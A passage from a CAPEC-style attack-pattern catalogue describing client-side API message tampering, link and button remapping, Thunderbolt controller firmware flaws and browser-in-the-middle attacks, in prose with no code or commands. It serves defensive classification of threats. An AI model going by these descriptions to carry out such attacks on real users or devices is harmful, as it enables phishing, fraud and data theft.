An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.